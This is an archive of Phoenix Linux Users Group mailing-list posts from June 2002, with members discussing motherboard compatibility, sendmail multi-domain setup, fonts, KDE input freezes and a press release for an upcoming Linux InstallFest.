plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 01 Jun 2002 11:07:30 -0400 Subject: Motherboard with linux question References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> Message-ID: <3CF8E332.719CB44D@georgetoft.com> I went to google and searched for: M810LMR Linux and the results are not that impressive. There seem to be many issues with this board, and they are not just limited to Linux. You can always try it and see what happens. George MCR wrote: > > I recently received pieces to build a new computer, > however the motherboard is an all-in-one-board, and I > would like some opinions on whether this board would > work ok with linux. I will be installing either > redhat 7.3 or > Mandrake 8.*. It is my understanding that some of > these all-in-one-boards can be somewhat difficult to > configure. The page with the specs. for this board is: > > http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_810LMRv5.htm > > Could some of you tell me if you think I would be ok > with this board, or if I should look for a barebones > board and add the pieces. I got a 1ghz Duron with it > if the chip would make a difference with the decision. > > Thank You for your time, > > mike > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:14:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar) Date: Sat, 1 Jun 2002 09:14:45 -0700 Subject: sendmail / multiple domains question In-Reply-To: References: <005301c208fd$b6497250$5300a8c0@charlie> Message-ID: <20020601091445.5fe57045.linux@esaravana.com> Hi Patrick, It was DNS. I did not have MX record for the domains. Thanks, Sundar On Fri, 31 May 2002 21:45:54 -0700 (MST) "Patrick Fleming EA" wrote: > > Going out on a limb here... did you try restarting sendmail? > > On Fri, 31 May 2002, linux @esaravana wrote: > > > When I do 'dig' on mail.2nddomain.com, www.2nddomain.com it works, but it > > dowsn't work when I do 2nddomain.com. > > > > Same case for the mail.1stdomain.com, www.1stdomain.com, but not for > > 1stdomain.com. > > > > So, my take is DNS is set properly. But could be that my sendmail is not > > using the DNS. How do I make sure, my sendmail is using my DNS. > > > > Sundar > > > > > > ----- Original Message ----- > > From: "Patrick Fleming EA" > > To: > > Sent: Friday, May 31, 2002 3:51 PM > > Subject: Re: sendmail / multiple domains question > > > > > > > On Fri, 31 May 2002, Sundar wrote: > > > > > > > Hello, > > > > > > > > I am trying to host multiple domains on my mail server. So, I updated > > > > virtusertable, generics-domains, genericstable. I am able to send and > > > > recive from olduser@1stdomain.com. But I am only able to receive mail > > > > from newuser@2nddomain.com, not send from the account. > > > > > > > > > > My setup also has local-host-names. The error below seems to indicate that > > > the machine can't resolve 2nddomain.com. Did you place an entry in the DNS > > > tables on the machine trying to send mail for 2nddomain.com? If it doesn't > > > run DNS set it in /etc/hosts. > > > > > > > > > > > > > ----- The following addresses had permanent fatal errors ----- > > > > (reason: 501 5.1.8 ... Domain of sender > > address newuser@2nddomain.com does not exist) > > > > > > > > > > > > > > > > Following are the files I modified. > > > > 2nddomain is the domain I am trying to add > > > > > > > > Virtusertable > > > > > > -------------------------------------------------------------------------- > > -- > > > > newuser@1stdomain.com error:nouser send mail to new@2nddomain.com > > > > newuser@2nddomain.com newuser > > > > olduser@2nddomain.com error:nouser user not found > > > > olduser@istdomain.com olduser > > > > > > > > generics-domains(copied local-host-names) > > > > > > -------------------------------------------------------------------------- > > -- > > > > 1stdomain.com > > > > 2nddomain.com > > > > > > > > genericstable > > > > > > -------------------------------------------------------------------------- > > -- > > > > newuser newuser@2nddomain.com > > > > olduser olduser@istdomain.com > > > > > > > > > > > > Sundar > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > -- > > > Patrick Fleming, EA > > > http://myhdvest.com/patrickfleming > > > Licensed to represent taxpayers > > > before Exam, Appeals, and Conference > > > divisions of the IRS > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > Patrick Fleming, EA > http://myhdvest.com/patrickfleming > Licensed to represent taxpayers > before Exam, Appeals, and Conference > divisions of the IRS > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:36:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 1 Jun 2002 09:36:49 -0700 Subject: Motherboard with linux question In-Reply-To: <20020601104117.24497.qmail@web13902.mail.yahoo.com> References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> Message-ID: <200206010936.49121.krycom1@cox.net> On Saturday 01 June 2002 03:41 am, MCR wrote: > I recently received pieces to build a new computer, > however the motherboard is an all-in-one-board, and I > would like some opinions on whether this board would > work ok with linux. I will be installing either > redhat 7.3 or > Mandrake 8.*. It is my understanding that some of > these all-in-one-boards can be somewhat difficult to > configure. The page with the specs. for this board is: > > http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_ >810LMRv5.htm > > Could some of you tell me if you think I would be ok > with this board, or if I should look for a barebones > board and add the pieces. I got a 1ghz Duron with it > if the chip would make a difference with the decision. Mike, You can look on Redhats site and see if your hardware is supported. -- Richard L. Proctor Krystal Computer Services PC Repairs & U-pgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:41:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 1 Jun 2002 09:41:14 -0700 Subject: Motherboard with linux question In-Reply-To: <3CF8E332.719CB44D@georgetoft.com> References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> <3CF8E332.719CB44D@georgetoft.com> Message-ID: <200206010941.14521.krycom1@cox.net> On Saturday 01 June 2002 08:07 am, George Toft wrote: > I went to google and searched for: > M810LMR Linux > and the results are not that impressive. There seem to be many > issues with this board, and they are not just limited to Linux. I think that board he is trying to use is a PC Chips, that's a warning sign in itself. :-) -- Richard L. Proctor Krystal Computer Services PC Repairs & U-pgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 18:05:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Sat, 1 Jun 2002 11:05:58 -0700 (PDT) Subject: Motherboard with linux question In-Reply-To: <200206010941.14521.krycom1@cox.net> Message-ID: <20020601180558.5707.qmail@web13907.mail.yahoo.com> Thank you for the responses. I thought I would be better off getting a new board, I just thought I would ask to make sure. With these comments being made I was wondering if someone would be willing to contact me off list and answer a few questions. I am sure not everyone wants their e-mail filled up with hardware questions. mike1071@yahoo.com My question right now is simply what motherboards tend to do better, and what is a good way to find out. I know I can just do a regular search and research on them, but what are the certain "brands" that tend to do better than the others? mike --- "Richard L. Proctor" wrote: > On Saturday 01 June 2002 08:07 am, George Toft > wrote: > > I went to google and searched for: > > M810LMR Linux > > and the results are not that impressive. There > seem to be many > > issues with this board, and they are not just > limited to Linux. > > I think that board he is trying to use is a PC > Chips, that's a warning sign > in itself. :-) > > -- > Richard L. Proctor > Krystal Computer Services > PC Repairs & U-pgrades > www.krycom.com > 480-699-3098 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 18:31:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lucas Sheehan) Date: Sat, 01 Jun 2002 11:31:21 -0700 Subject: IRC Linux channel? References: <200205301740.g4UHe3202954@PlugList.MyButt.Net> Message-ID: <3CF912F9.E14C11CA@aaahawk.com> Hello all, Im a bit new to all of this but have been messin with Linux for about a year. So I will ask my newbie question and look like a fool for the proverbial 5 min. Im not sure how to connect to the Pretorian.atx.cx chat thingy with the IRC. I try to connect and it always times out. What am I doing wrong? I have tried X-Chat IRC Client and Mozilla-IRC. If someone could help me set that up I would greatly appreciate it. Thanks. Luke From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 19:08:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Hustis) Date: Sat, 01 Jun 2002 12:08:14 -0700 Subject: Motherboard with linux question In-Reply-To: <20020601104117.24497.qmail@web13902.mail.yahoo.com> References: Message-ID: <5.1.0.14.0.20020601115634.0244ac90@teltrax.com> I have a machine with one of these motherboards in it. The only problem that I've noticed was with the sound. I installed Lycoris Desktop/LX, and for the life of me just couldn't get the sound working. I even tried the Alsa drivers, but still nothing. I then installed Mandrake 8.2 on it, and it configured the sound automatically. Although it worked, occasionally the sound would cut out and require a reboot. This would happen roughly once or twice a week with the system being used nightly for several hours. The only other thing is that whenever KDE would play a desktop sound, there would be a very small but noticeable chirp just before the sound played. It sounded like I was hearing the sounds through a walkie-talkie. Other than that, everything else on the board worked and, apart from the sound, was very stable. I ended up putting Windows on that particular machine, because it's my sons computer and he likes to visit kids sites that use Flash 5, and I have yet to find a Linux browser that will run all of the flash games. That's the ONLY thing keeping a Windows box at my house. It's funny because my son (8 years old) just asked if I could make his computer run both so he could use Windows for the flash sites, but Linux for everythig else. (Sorry, getting a little off topic here, hehe). Patrick At 03:41 AM 06/01/2002 -0700, you wrote: > I recently received pieces to build a new computer, >however the motherboard is an all-in-one-board, and I >would like some opinions on whether this board would >work ok with linux. I will be installing either >redhat 7.3 or >Mandrake 8.*. It is my understanding that some of >these all-in-one-boards can be somewhat difficult to >configure. The page with the specs. for this board is: > >http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_810LMRv5.htm > > Could some of you tell me if you think I would be ok >with this board, or if I should look for a barebones >board and add the pieces. I got a 1ghz Duron with it >if the chip would make a difference with the decision. > > Thank You for your time, > > mike > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 19:56:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar) Date: Sat, 1 Jun 2002 12:56:42 -0700 Subject: True Type Fonts and Opera/Galeon Message-ID: <20020601125642.47e68d4e.linux@esaravana.com> Hello, Do Opera and Galeon support TTF? I installed them on my Redhat 7.2 system and I can see/use them in my email client - Sylpheed. But, it doesn't get used when I browse with Opera 6.0 or Galeon. I know it is not getting used, because when I visit my native tongue specific sites -- it's all garbled. Sundar From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 23:04:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sat, 1 Jun 2002 16:04:15 -0700 Subject: Fwd: FW: InstallFest Press Release RC2 Message-ID: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> Here are Bill's changes to the Press Release for comment. This version is based on Victor's suggestion to make the press release more newsworthy. So, hwich version do we want to run with - this one? Or what's currently posted on the PLUG site? Judges, the envelope please. . . Dennis -----Original Message----- From: William Lindley [SMTP:wlindley@wlindley.com] Sent: Wednesday, May 29, 2002 16:43 To: Dennis Kibbe Subject: InstallFest Press Release RC2 Dennis -- Using Victor's suggestion, here's RC2. Changes from Victor's text: * Title "GNU/Linux InstallFest" * My description "computer consultant" * Changed my <> slightly * Instead of "and external modems" a reference to the PLUG web page InstallFest Q&A (which we need to have ready when this is released). Removed parentheses around that sentence. * Corrected spelling of my name * "PLUG Club members" --> "PLUG members" === On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the public to a "GNU/Linux InstallFest" at Scottsdale Community College. Attendees will receive expert help in installing Linux, a freely available operating system, on their personal computers. After the InstallFest, users who brought their computers along can in many cases go home with working systems installed on their machines, free of charge. The package includes web browsers, word processors, and other usual tools that computer users expect. PLUG's organizer for the event is William Lindley, a computer consultant. "This is what the Free Software community is all about - helping each other, and we'll be helping folks get started," Lindley explained. "We're all looking forward to this InstallFest." The software is an alternative to Windows and other proprietary systems. Linux, GNU, FreeBSD and other "open source" and "free software" systems do not require any licensing or upgrade fees, and are said by many experts to be more efficient and secure than Windows systems. Businesses and home users alike are turning to free software which can be freely copied, modified, or examined, and which is considered by computer experts to be more robust and secure than proprietary systems. Though there is no charge, the term "free software" actually refers to freedom from license restrictions: Users are never asked to click "I Agree" to a list of prohibitions before using it, and organizations need not store "Certificates of Authenticity" in their safe deposit boxes in case of an audit. The free software products are available at no charge through the Internet or as an inexpensive distribution at most local computer stores, but the InstallFest offers users a completed installation by experienced Linux and FreeBSD administrators. Computer users are invited to bring their computers to the event. Usually, only the computer box, monitor, keyboard and mouse need be brought - see the PLUG web page for details. "Your old operating system can remain as an alternative, or we can replace it entirely," Lindley said, "depending on your plans for the machine and how much disk space you have to spare." "This is a really important next step in development of computers and the Internet -- making them more affordable and more secure," Lindley said. "We are here to show how easy it can be for computer users to move up to the next level." The event will be held from 10:00 a.m. to 4:00 p.m. in the College's Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). PLUG members will be available to answer questions about Linux, Open Source software, and the Phoenix Linux Users Group as well. For more information about the InstallFest, email contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 PLUG is an informal group that holds several monthly meetings, on both the East and West sides of Phoenix, to talk about what they've recently done with Linux, GNU and open source software; to share problems and solutions, and to discuss issues in the world of Free Software and computers in general. Knowledge of Linux is neither presumed nor required. Between meetings, PLUG members stay in touch through a busy e-mail discussion list. More information about PLUG can be found on the website at http://plug.phoenix.az.us/ . Scottsdale Community College offers two year degree programs in many disciplines including computers, arts, and science. SCC also offers university transfer programs and special interest courses, and has hosted several free software events. END ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 00:38:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 1 Jun 2002 17:38:50 -0700 Subject: Fwd: FW: InstallFest Press Release RC2 In-Reply-To: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> References: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> Message-ID: <0206011738500Q.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I vote for RC2. As far as changing the web site, that will take all of 15 minutes to change. On Saturday 01 June 2002 16:04, you wrote: > Here are Bill's changes to the Press Release for comment. This version is > based on Victor's suggestion to make the press release more newsworthy. > > So, hwich version do we want to run with - this one? Or what's currently > posted on the PLUG site? > > Judges, the envelope please. . . > > Dennis > > -----Original Message----- > From: William Lindley [SMTP:wlindley@wlindley.com] > Sent: Wednesday, May 29, 2002 16:43 > To: Dennis Kibbe > Subject: InstallFest Press Release RC2 > > Dennis -- Using Victor's suggestion, here's RC2. Changes from Victor's > text: > > * Title "GNU/Linux InstallFest" > * My description "computer consultant" > * Changed my <> slightly > * Instead of "and external modems" a reference to the PLUG web page > InstallFest Q&A (which we need to have ready when this is released). > Removed parentheses around that sentence. > * Corrected spelling of my name > * "PLUG Club members" --> "PLUG members" > > === > > On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the > public to a "GNU/Linux InstallFest" at Scottsdale Community College. > Attendees will receive expert help in installing Linux, a freely > available operating system, on their personal computers. > > After the InstallFest, users who brought their computers along can in many > cases go home with working systems installed on their machines, free of > charge. The package includes web browsers, word processors, and other > usual tools that computer users expect. > > PLUG's organizer for the event is William Lindley, a computer consultant. > "This is what the Free Software community is all about - helping each > other, and we'll be helping folks get started," Lindley explained. "We're > all looking forward to this InstallFest." > > The software is an alternative to Windows and other proprietary systems. > Linux, GNU, FreeBSD and other "open source" and "free software" systems > do not require any licensing or upgrade fees, and are said by many experts > to be more efficient and secure than Windows systems. > > Businesses and home users alike are turning to free software which can be > freely copied, modified, or examined, and which is considered by computer > experts to be more robust and secure than proprietary systems. > > Though there is no charge, the term "free software" actually refers to > freedom from license restrictions: Users are never asked to click "I > Agree" to a list of prohibitions before using it, and organizations need > not store "Certificates of Authenticity" in their safe deposit boxes in > case of an audit. > > The free software products are available at no charge through the Internet > or as an inexpensive distribution at most local computer stores, but the > InstallFest offers users a completed installation by experienced Linux and > FreeBSD administrators. Computer users are invited to bring their > computers to the event. Usually, only the computer box, monitor, keyboard > and mouse need be brought - see the PLUG web page for details. > > "Your old operating system can remain as an alternative, or we can replace > it entirely," Lindley said, "depending on your plans for the machine and > how much disk space you have to spare." > > "This is a really important next step in development of computers and the > Internet -- making them more affordable and more secure," Lindley said. > "We are here to show how easy it can be for computer users to move up to > the next level." > > The event will be held from 10:00 a.m. to 4:00 p.m. in the College's > Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is > available online at PLUG's web site, ( http://plug.phoenix.az.us ). > > PLUG members will be available to answer questions about Linux, Open > Source software, and the Phoenix Linux Users Group as well. > > For more information about the InstallFest, email > contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 > > PLUG is an informal group that holds several monthly meetings, on both the > East and West sides of Phoenix, to talk about what they've recently done > with Linux, GNU and open source software; to share problems and solutions, > and to discuss issues in the world of Free Software and computers in > general. Knowledge of Linux is neither presumed nor required. Between > meetings, PLUG members stay in touch through a busy e-mail discussion > list. > > More information about PLUG can be found on the website at > http://plug.phoenix.az.us/ . > > Scottsdale Community College offers two year degree programs in many > disciplines including computers, arts, and science. SCC also offers > university transfer programs and special interest courses, and has hosted > several free software events. > > END > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPlpGysk3ywszI1FEQILvACdEkqRNlMPBC5W0M1pcunYH7obtHUAn3yC 7bYDv7I82xIDXYzbEyq654py =HHPt -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 05:24:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 1 Jun 2002 22:24:12 -0700 Subject: InstallFest Press Release RC2 In-Reply-To: <0206011738500Q.00730@nova.wedge.org> References: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> <0206011738500Q.00730@nova.wedge.org> Message-ID: <200206012224.12957.alandd@mindspring.com> Use this RC2! Send it out. I am finding it is too late already for some possible sponsors. We don't want to miss out on any possible news coverage or other connections because we are too late. Alan On Saturday 01 June 2002 05:38 pm, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I vote for RC2. As far as changing the web site, that will take all of 15 > minutes to change. > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 08:21:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sun, 02 Jun 2002 01:21:18 -0700 Subject: InstallFest Press Release RC2 References: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> <0206011738500Q.00730@nova.wedge.org> <200206012224.12957.alandd@mindspring.com> Message-ID: <3CF9D57E.580EA06B@cox.net> We'll also need one for the radio stations. It should be a stripped-down and speakable version of RC2, reduced to just a paragraph or two. Figure the greatest amount of time they'd give it in a radio announcement, then give them twice that much so they have something they can cut out. ;-) Vic Alan Dayley wrote: > > Use this RC2! Send it out. I am finding it is too late already for some > possible sponsors. We don't want to miss out on any possible news coverage > or other connections because we are too late. > > Alan > > On Saturday 01 June 2002 05:38 pm, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > I vote for RC2. As far as changing the web site, that will take all of 15 > > minutes to change. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Vic http://members.cox.net/vodhner/ -- or -- http://www.newearth.org/~victor/resume.html From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 08:53:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 2 Jun 2002 01:53:19 -0700 (PDT) Subject: InstallFest Press Release RC2 In-Reply-To: <3CF9D57E.580EA06B@cox.net> Message-ID: Ooh! Ooh! Once it's been stripped-down for the radio, can I read it? :-) I'm taking voice-over lessons on the side and I would love to do this for PLUG. ~M On Sun, 2 Jun 2002, Victor Odhner wrote: > We'll also need one for the radio stations. > > It should be a stripped-down and speakable > version of RC2, reduced to just a paragraph > or two. Figure the greatest amount of > time they'd give it in a radio announcement, > then give them twice that much so they > have something they can cut out. ;-) > > Vic > > Alan Dayley wrote: > > > > Use this RC2! Send it out. I am finding it is too late already for some > > possible sponsors. We don't want to miss out on any possible news coverage > > or other connections because we are too late. > > > > Alan > > > > On Saturday 01 June 2002 05:38 pm, Jim wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > I vote for RC2. As far as changing the web site, that will take all of 15 > > > minutes to change. > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > > Vic > > http://members.cox.net/vodhner/ > -- or -- > http://www.newearth.org/~victor/resume.html > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:08:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Uhlman) Date: Sat, 1 Jun 2002 09:08:23 -0700 Subject: InstallFest / Distribution Advice References: <000501c2085d$d9fd44b0$6500000a@janus> Message-ID: <000e01c20986$8e790a40$0f01a8c0@workstation> I agree with the other authors note about "linux from scratch" from a conceptual perspective, however I think that linux from scratch is somewhat "outdated" to todays types of distributions. I think that one can make there own LFS from a stock redhat or mandrake etc. Start with an installed copy of the base system on a clean drive and build package by package until you get where you want to go, perhaps change bootloaders ie lilo to grub for extra credit. Examine carefully settings and configurations for each peice of software and recompile SRPMS when appropriate, making a working developement environment is the hardest part of that ususually and quite valuable experience I might add. Hands down, being involved in every descision is the best way to understand linux from a little picture/big picture perspective. You may also be interested in taking a look at gentoo linux which dl's and compile a complete distribution. Very unique, interesting and powerful. gentoo.org hope it helps. Sincerely, David Uhlman CTO 50km Inc. office(877-571-7679) mobile(602-770-9551) fax(509-752-3882) email(duhlman@50km.com) ----- Original Message ----- From: "Matt Wyant" To: "PLUG Discussion List" Sent: Thursday, May 30, 2002 9:44 PM Subject: InstallFest / Distribution Advice > > I've always been attracted to GNU/Linux because of it's configuration > and manipulation options. I've played with the Mandrake distribution, > but it wasn't any fun because I didn't have to do anything. I need a > distribution that will force me to learn all the dirty details. From > what I've gathered online, Slackware is just that. A powerful, > configurable, advanced distribution. I have two questions: > > A) Am I jumping in over my head? I'm very proficient with computers, > I've been programming since before junior high with various flavors of > basic and c. I'm certainly not daunted by the shell, command line, or > non-graphical interfaces, in fact, they hold some sort of sick romantic > draw for me. Should I start with a more user-friendly distribution or do > you think I can handle Slackware? > > B) I read about the upcoming InstallFest June 22nd. I am very > interested, and will probably attend if I haven't gotten this figured > out by then (I'm pretty busy, so that's a definite possibility). I know > I need to drag my tower, monitors and cables along, but do I need to > bring a distribution? > > I will be installing to a swappable primary drive, so loss of > productivity and time is not a problem during installation. I want to > cut my teeth on my workstation, and then eventually run > samba/apache/mysql on my (currently) file server. I've got a dual > Pentium III 1.0Ghz with dual monitors. I do a lot of web and SQL > development, as well as audio/video editing. Is any of this going to > pose roadblocks? Is there anything I should know before I dive in? > > Just looking for a little friendly advice and counseling. > > > "Three o'clock is always too late or too early for anything you want to > do." > -- Jean-Paul Sartre > > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com | http://www.zanfar.com > > Tempe, AZ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 09:32:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (islandkid) Date: Sun, 02 Jun 2002 05:32:40 -0400 Subject: your post - strange mouse/keyboard behavoir - I also need help Message-ID: <3CF9E638.3000806@uvic.ca> I read the below post of yours while I was looking for a solution to my problem. I have the identical problem with my linux system. Did you ever figure out how to fix it? ----------------------------------------------------------------- I setup a k12ltsp server (http://k12ltsp.org) at work and I plan on using it for our employees in our call center (they have very limited software needs so this will be a good testing ground). I've been testing things and I keep encountering random problems with the mouse/keyboard within KDE. Sometimes I can no longer click on anything. The only way to get out is to Ctrl-Alt-Backspace to kill the X session. This seems to happen most often when clicking the Logout button on the taskbar, I can't click anything else or use any keyboard keys (except Ctrl-Alt-Backspace) to complete the logout process. The hardware is fairly simple: Serial mouse, P-133MHz, 64MB RAM, 1MB Video card. Here's what I get in .xsession-errors after logging in: XIM DEBUG: xset: bad font path element (#37), possible causes are: Directory does not exist or has wrong permissions Directory missing fonts.dir Incorrect font server address or syntax xset: bad font path element (#37), possible causes are: Directory does not exist or has wrong permissions Directory missing fonts.dir Incorrect font server address or syntax DCOPServer up and running. DCOP Cleaning up dead connections. Mutex destroy failure: Device or resource busy Mutex destroy failure: Device or resource busy Mutex destroy failure: Device or resource busy mcop warning: user defined signal handler found for SIG_PIPE, overriding QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/DigitalClock) Negative sizes (2,-4) are not possible QWidget::setMinimumSize: The smallest allowed size is (0,0) QWidget::setMaximumSize: (unnamed/QLabel) Negative sizes (49,-4) are not possible QObject::connect: No such slot KWrited::block_in(const char*,int) QObject::connect: (sender name: 'unnamed') QObject::connect: (receiver name: 'unnamed') I also have a shell script that I created an icon for our users to click on. Here's the contents of the script: /usr/X11R6/bin/xterm -T Matt-Test -e /usr/bin/telnet 172.16.10.20 & After clicking this icon, I get this message in .xsession-errors: Invalid entry (missing '=') at /usr/local/bin/matt-test.sh:1 Any guesses as to what's going on? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 14:40:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sun, 2 Jun 2002 07:40:59 -0700 Subject: PlugPresents Site Update Message-ID: <0206020740590R.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The new Press Release has been moved to the PlugPresents web site. Check it out at http://www.plugpresents.com/installfest. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPPoufSsk3ywszI1FEQIGFwCgzRVlqhiQK3sgw8z5Szh2crctVC0AoOWu 9LDrrBQJFBgvs8/mxYFtGdyn =tC/y -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 15:15:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sun, 02 Jun 2002 08:15:19 -0700 Subject: InstallFest Press Release RC2 References: Message-ID: <3CFA3687.4FB6F914@cox.net> Matt wrote: > Ooh! Ooh! Once it's been stripped-down for the > radio, can I read it? I'm taking voice-over > lessons on the side and I would love to do this > for PLUG. > ~M Then you would be the best person to come up with a speakable version, neh? Why don't YOU try to write a brief verbal equivalent for RC2? Keep it comprehensible, dumb it down. And DROP the GNU bit, it just won't fly in this context -- they'll just think the announcer is sneezing! My broadcast journalism course was 38 years ago! ;-) You wanna read it? Send us an mp3, 